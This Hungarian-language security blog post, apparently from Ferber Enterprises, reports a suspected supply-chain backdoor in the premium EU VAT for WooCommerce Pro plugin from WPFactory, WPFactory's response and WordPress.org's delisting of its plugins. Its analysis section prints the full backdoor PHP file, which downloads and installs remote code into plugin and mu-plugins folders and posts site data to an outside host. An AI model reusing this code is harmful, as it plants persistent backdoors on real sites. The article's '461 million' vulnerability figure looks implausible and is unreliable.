Biztonsági incidens az WPFactory-nél: 170 000 WordPress-webhely adatai kerültek nyilvánosságra

A WordPress továbbra is a világ legelterjedtebb tartalomkezelő rendszere, az interneten található weboldalak több mint 40%-át futtatja. A kisvállalati weboldalaktól és személyes blogoktól kezdve a nagyméretű vállalati platformokon és az e-kereskedelmi infrastruktúrákon át a tartalomkezelő rendszer a modern web gerincévé vált. Népszerűsége rugalmasságából, nyitott ökoszisztémájából és a funkcionalitást bővítő beépülő modulok hatalmas számából fakad.

Ugyanakkor éppen ez az ökoszisztéma vált a WordPress egyik legnagyobb biztonsági kihívásává is.

A Ferber Enterprises-nél kiberbiztonsági csapatunk folyamatosan figyelemmel kíséri a WordPress-ökoszisztémát érintő fenyegetéseket, mivel a bővítményekben, témákban vagy az ellátási láncokban fellelhető sebezhetőségek gyorsan világszerte több ezer weboldalt érintő, nagyszabású támadásokhoz vezethetnek. Az elmúlt években a támadók egyre inkább a bővítményfejlesztőket és a terjesztési infrastruktúrákat vették célba az egyes weboldalak helyett, lehetővé téve ezzel a rosszindulatú kódok terjedését megbízható szoftverfrissítések és hivatalos letöltési csatornák révén.

Ezen a héten komoly botrány robbant ki a WPFactory körül, egy jól ismert WordPress-bővítményfejlesztő cég körül, amelynek termékeit világszerte több mint 170 000 weboldalon használják. A WPFactory-hez kapcsolódó több mint 80 bővítményt ideiglenesen letiltották a WordPress.org oldalon, miután a WPFactory kiberbiztonsági csapata gyanús hátsó ajtót fedezett fel az egyik bővítmény prémium verziójában.

Az eset komoly aggodalmakat vetett fel a WordPress-közösségben a szoftverellátási lánc biztonságával, a bővítmények értékelési folyamataival és a nyílt forráskódú ökoszisztémát célzó támadások növekvő kifinomultságával kapcsolatban.

A gyanús bővítményviselkedés felfedezése

A probléma először akkor derült ki, amikor a Ferber Enterprises kiberbiztonsági csapata rendellenes viselkedést észlelt az EU VAT for WooCommerce Pro bővítmény prémium verziójának tesztelése során, amelyet közvetlenül a hivatalos weboldalukról töltöttek le.

Kezdetben a vizsgálat akkor kezdődött, amikor a bővítmény telepítés közben végzetes hibát generált. A probléma hibaelhárítása során elemzőink egy gyanús PHP fájlt azonosítottak class-alg-wc-eu-vat-customer.php néven. A fájl működése teljesen ellentétes volt a WooCommerce VAT bővítmény várható funkcióival.

class-alg-wc-eu-vat-customer.php
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Elemzésünk szerint a kód megpróbálta:

  • Tölts le egy külső ZIP archívumot egy távoli szerverről
  • WordPress magkönyvtárak módosítása
  • Kommunikáljon külső infrastruktúrával
  • Potenciálisan távoli terheléseket hajthat végre az érintett webhelyeken

Ezek a jelzők azonnal felvetették egy rejtett hátsó ajtó vagy egy rosszindulatú ellátási lánc kompromittálódásának lehetséges jelenlétének gyanúját.

A helyzetet különösen aggasztóvá tette, hogy a bővítményt nem valamely nem hivatalos tükörszerverről vagy kalóz-tárhelyről szerezték be. A csomagot közvetlenül az WPFactory hivatalos ügyfélportáljáról töltötték le, ami még inkább alátámasztotta azokat a gyanúkat, hogy maga a terjesztési csatorna is kompromittálódhatott.

A Ferber Enterprises-nél azonnal dokumentáltuk az esetet, és felelősségteljes közzétételi eljárást indítottunk el azzal, hogy közvetlenül a GitHubon keresztül felvettük a kapcsolatot a WPFactory-vel.

Az WPFactory első reakciója

Az WPFactory első reakciója az volt, hogy a jelentésben leírt gyanús fájl és viselkedés nem tartozik a hivatalos kódbázisukhoz.

A vállalat képviselője több alternatív magyarázatot javasolt, többek között:

  • Egy módosított helyi telepítés
  • Egy feltört webhelykörnyezet
  • Egy elavult bővítményverzió
  • Potenciálisan manipulált letöltési forrás

A vállalat azt is közölte, hogy nem tudták biztonságosan megvizsgálni a megadott ZIP fájlt, mert a böngészőjük potenciálisan veszélyesként jelölte meg az archívumot.

Kiberbiztonsági csapatunk később tisztázta, hogy a bővítményt közvetlenül a WPFactory hivatalos weboldaláról töltötték le, és hogy a gyanús fájl akkor is megmaradt, miután ugyanabból a forrásból letöltöttek egy friss példányt a 4.6.1-es verzióból.

Ez a részlet a vizsgálat központi elemévé vált. Ha a hivatalos terjesztési csatornáról többször letöltött, egymástól független fájlok mindegyike következetesen ugyanazt a gyanús kódot tartalmazta, akkor egyre kevésbé tűnt valószínűnek, hogy egy helyi weboldalt feltörtek volna. Ezen megállapítások ellenére a WPFactory kezdetben kijelentette, hogy náluk nem sikerült reprodukálni a problémát, és azt állította, hogy a gyanús fájl nem szerepel a hivatalos bővítménycsomagban.

A vállalat ezután rendszergazdai és FTP-hozzáférést kért az érintett környezethez a vizsgálat folytatásához. A Ferber Enterprises-nél ezt a kérést kiberbiztonsági okokból elutasítottuk. Kiváltságos szerverhozzáférést biztosítani egy olyan beszállítónak, akinek az infrastruktúrája maga is sérülhetett, elfogadhatatlan biztonsági kockázatot jelentett volna. Csapatunk ehelyett továbbra is technikai bizonyítékokat szolgáltatott, többek között egy videófelvételt, amelyen látható volt a gyanús bővítmény viselkedése közvetlenül a telepítés után.

Escalálódás a WordPress.org-ra

A vizsgálat előrehaladtával egyre nagyobb aggodalmak merültek fel a probléma lehetséges mértékét illetően. A WPFactory több mint 65 bővítményből álló, kiterjedt portfóliót tart fenn, amelyek összesen több mint 170 000 aktív telepítést tesznek ki. A vállalat terjesztési infrastruktúráját érintő bármilyen biztonsági incidens ezért széles körű következményekkel járhat a WordPress-ökoszisztémában.

Csapatunk közvetlenül a WordPress.org-hoz fordult az ügyben, hogy megakadályozza: a vizsgálat lezárultáig további felhasználók telepítsenek potenciálisan sérült csomagokat. A WordPress.org ezt követően rendkívüli intézkedésként ideiglenesen eltávolította a hivatalos tárolóból a több mint 80 WPFactory bővítményt.

Ez a lépés azonnal felkeltette a WordPress biztonsági közösség figyelmét, mivel ilyen nagyságrendű plugin-letiltások viszonylag ritkák, és általában komoly, megoldatlan problémákra utalnak. Az ügy eszkalálódását követően a WPFactory később elismerte, hogy a probléma valóban fennállt, és elnézést kért azért, hogy az első bejelentés után nem reagált gyorsabban. A vállalat képviselői kijelentették, hogy aktívan vizsgálják az ügyet, és a megoldáson dolgoznak. A WPFactory belső körében felmerült egyik hipotézis szerint egy elavult vagy gyorsítótárban tárolt plugin-csomagot véletlenül szolgáltattak ki az infrastruktúrájukon keresztül.

Azonban a kiberbiztonsági csapatunk nem értett egyet ezzel az értékeléssel. A megfigyelt viselkedés erősen arra utalt, hogy mélyebb biztonsági problémáról van szó, amely esetleg érintheti a build pipeline-okat, terjesztési rendszereket, vagy az illetéktelen kódbeszúrást a letölthető plugin archívumokon belül.

Miért fontos ez az eset

Az WPFactory-botrány rávilágít egy egyre növekvő kiberbiztonsági fenyegetésre, az úgynevezett szoftverellátási lánc elleni támadásokra. Korábban a támadók elsősorban az egyes weboldalak közvetlen megfertőzésére összpontosítottak, brute-force támadások vagy bővítmények biztonsági réseinek kihasználásával. Manapság azonban a támadók egyre gyakrabban magukat a szoftvergyártókat veszik célba, mivel egy megbízható beszállító megfertőzése révén a rosszindulatú kód egyszerre több ezer weboldalra terjedhet el.

Ez a stratégia már több nagyszabású kibertámadás során megfigyelhető volt az elmúlt évtizedben, amelyek globális szoftverökoszisztémákat érintettek. Kifejezetten a WordPress ökoszisztémájában a bővítményfejlesztők vonzó célpontoknak számítanak, mivel a rendszergazdák alapvetően megbíznak a bővítményekben, és azok gyakran emelt szintű jogosultságokkal futnak.

Ha rosszindulatú kód kerül be egy hivatalos csatornán keresztül terjesztett bővítménycsomagba, az érintett webhelyek tudtukon kívül maguk is rosszindulatú szoftvert telepíthetnek. A gyanús WPFactory bővítmény esetében a lehetséges következmények súlyosak.

Az elemzésünk alapján az azonosított viselkedés elméletileg lehetővé teheti a támadók számára, hogy:

  • További rosszindulatú programok telepítése
  • SEO spammelés
  • Perzisztens hátsó ajtók létrehozása
  • Érzékeny adatok kiszivárogtatása
  • WordPress telepítések távoli módosítása
  • Tartson fenn engedélyezetlen hozzáférést hosszabb ideig

Az ilyen támadások veszélye rejtettségükben rejlik. A modern hátsó ajtók gyakran hónapokig tétlenül maradnak, mielőtt aktiválódnának, ami jelentősen megnehezíti a felderítésüket. A hónap elején a WordPress Plugins Team állítólag több mint 30 bővítményt zárt le, miután egy másik bővítmény-portfólióba beágyazott rejtett káros kódot körülbelül nyolc hónapig nem aktiváltak, mielőtt végül aktiválódott volna, és SEO spamet injektált a webhelyekre.

Ez a tendencia azt mutatja, hogy az elkövetők egyre inkább a kitartást és az időzített aktiválást részesítik előnyben az észlelési mechanizmusok elkerülése érdekében.

Mélyebb biztonsági válság a WordPress ökoszisztémájában

Az WPFactory-incidens ráadásul rávilágít a WordPress egészét érintő, szélesebb körű rendszerbeli biztonsági kihívásokra is. A bővítmények ökoszisztémája az elmúlt évtizedben drámai mértékben bővült: ma már több tízezer bővítmény érhető el mind a hivatalos, mind a kereskedelmi piactereken. Ez az ökoszisztéma ugyan elősegíti az innovációt és a rugalmasságot, ugyanakkor hatalmas bonyolultságot jelent a biztonsági felügyelet szempontjából.

A Patchstack “A WordPress biztonságának helyzete 2026-ban” című jelentése szerint közel 461 millió ismert biztonsági rés nem került kijavításra a nyilvánosságra hozatal előtt. Ez a statisztika jól tükrözi a bővülő terhet, amely a bővítményfejlesztőkre, a biztonsági kutatókra és a tárolók karbantartóira egyaránt nehezedik.

Ugyanakkor a hivatalos WordPress bővítmény-ellenőrzési várólista állítólag már több mint 4000 ellenőrzésre váró bővítményt tartalmaz. Ilyen számok mutatják a minőségbiztosítás és a biztonsági auditálás nagyszabású fenntartásának hatalmas kihívását.

Számos bővítményfejlesztő kis létszámú csapat, amelynek biztonsági erőforrásai korlátozottak. Mások viszont egyszerre több tucat bővítményt kezelnek, miközben agresszív üzleti növekedési stratégiákat hajtanak végre, amelyek felvásárlásokkal és a portfólió bővítésével járnak. Maga a WPFactory is nemrégiben bővült felvásárlások révén: 2025-ben megvásárolta az Extend-WP-t és annak 19 bővítményét, majd még ugyanabban az évben felvásárolta a WBW-t és több további bővítményt is.

A portfólió gyors bővülése olyan működési bonyolultságot eredményezhet, amely megnehezíti a kód ellenőrzését, az infrastruktúra kezelését és a kiadások integritásának ellenőrzését. A támadók jól ismerik ezeket a körülményeket. Egyre inkább a szoftvergyártók gyenge biztonsági gyakorlatainak kihasználására koncentrálnak, ahelyett, hogy közvetlenül a végfelhasználókat vennék célba.

Az ellátási láncok biztonságának növekvő fontossága

Az ilyen jellegű incidensek megerősítik az erősített ellátási láncbiztonsági gyakorlatok sürgős szükségességét a WordPress ökoszisztémájában.

A Ferber Enterprises kiberbiztonsági csapata határozottan javasolja a bővítményfejlesztőknek, hogy vezessenek be néhány alapvető védelmi intézkedést, többek között:

  • Kriptográfiai csomagok aláírása
  • Biztonságos CI/CD folyamatok
  • Kötelező többtényezős hitelesítés
  • Infrastruktúra szegmentálás
  • Folyamatos integritás-felügyelet
  • Független kódellenőrzések
  • Reproducálható fordítási rendszerek

A webhelyek rendszergazdáinak is javítaniuk kell a saját biztonsági intézkedéseiket. Még a hivatalos vagy megbízható forrásokból letöltött bővítményeket sem szabad eleve biztonságosnak tekinteni.

A kritikus WordPress infrastruktúrákat kezelő szervezeteknek érdemes megfontolniuk:

  • Staging környezetek karbantartása
  • Kifelé irányuló forgalom figyelése
  • Beépülő modulok vizsgálata a telepítés előtt
  • Bővítményhasználat korlátozása
  • A legkisebb jogosultság elvének alkalmazása
  • Fájlintegritás-monitorozás bevezetése
  • Felügyelt Web Application Firewallok (WAF) használata

A vállalati környezetekben az ellátási lánc validálása ugyanolyan fontossá válik, mint a hagyományos sebezhetőségkezelés. Az az elképzelés, hogy a hivatalos szoftvercsatornák mindig biztonságosak, már nem reális a mai fenyegetettségi környezetben.

Közösségi reakciók és folyamatban lévő vizsgálat

A vita gyorsan elterjedt a WordPress közösségben, miután fejlesztők, biztonsági kutatók és infrastruktúra-szolgáltatók nyilvánosan megvitatták a kérdést.

Az ökoszisztéma több ismert alakja is felhívta a figyelmet a helyzetre, köztük olyan fejlesztők is, akik ideiglenesen bezárt bővítmények listáját tették közzé, és arra bátorították az adminisztrátorokat, hogy auditálják rendszereiket.

Eközben a Ferber Enterprises csapata továbbra is elemzi a gyanús bővítménymintákat, és figyelemmel kíséri azokat a további fertőzésjeleket, amelyek világszerte hatással lehetnek a WordPress-webhelyekre.

A cikk megjelenésekor a WPFactory tudomásul vette a problémát, és kijelentette, hogy aktívan dolgozik a megoldáson.

Azonban sok kérdés marad megválaszolatlanul:

  • Sérült volt a hivatalos terjesztési infrastruktúra?
  • Mennyi ideig terjeszthették esetleg a rosszindulatú csomagokat?
  • Befolyásoltak további bővítményeket is a problémák?
  • Feltörték a ügyfélfiókokat vagy a letöltési rendszereket?
  • A támadók tartós hozzáférést szereztek a belső infrastruktúrához?
  • Létezhetnek még további, nem aktív hasznos terhek?

Amíg ezek a kérdések teljesen meg nem oldódnak, a kellő óvatosság továbbra is elengedhetetlen.

A WordPress biztonság jövője

Az WPFactory-incidens végső soron újabb jellemző példája lehet azoknak a kiberbiztonsági kihívásoknak, amelyekkel a nyílt forráskódú webes ökoszisztéma szembesül.

A WordPress az internet globális gazdaságának hatalmas részét működteti. Ezért a bővítményfejlesztőket érintő nagyszabású kompromisszumok következményei egyéni webhelyeken túlmutató hatással lehetnek.

Mivel a támadók egyre inkább az ellátási lánc megsértése és a rejtett, tartós jelenlétet biztosító technikák felé fordulnak, a bővítmények biztonságát már nem lehet másodlagos kérdésként kezelni. Mi, az Ferber Enterprises-nél úgy véljük, hogy ez az esemény fontos emlékeztető arra, hogy a kiberbiztonság nem csupán a weboldalak védelméről szól, hanem a szoftverterjesztési lánc minden egyes szintjének biztonságáról is.

A nyílt ökoszisztémákba vetett bizalom az átláthatóságon, a gyors incidenskezelésen és az erős működési biztonsági gyakorlatokon múlik. A WordPress ökoszisztéma most fontos pillanathoz érkezett.

Az, hogy a fejlesztők, a tárolók karbantartói, a tárhelyszolgáltatók és a biztonsági csapatok hogyan reagálnak az ilyen eseményekre, döntő szerepet játszik abban, hogy a WordPress továbbra is megőrizheti-e azoknak a millióknak a bizalmát, akik nap mint nap támaszkodnak rá.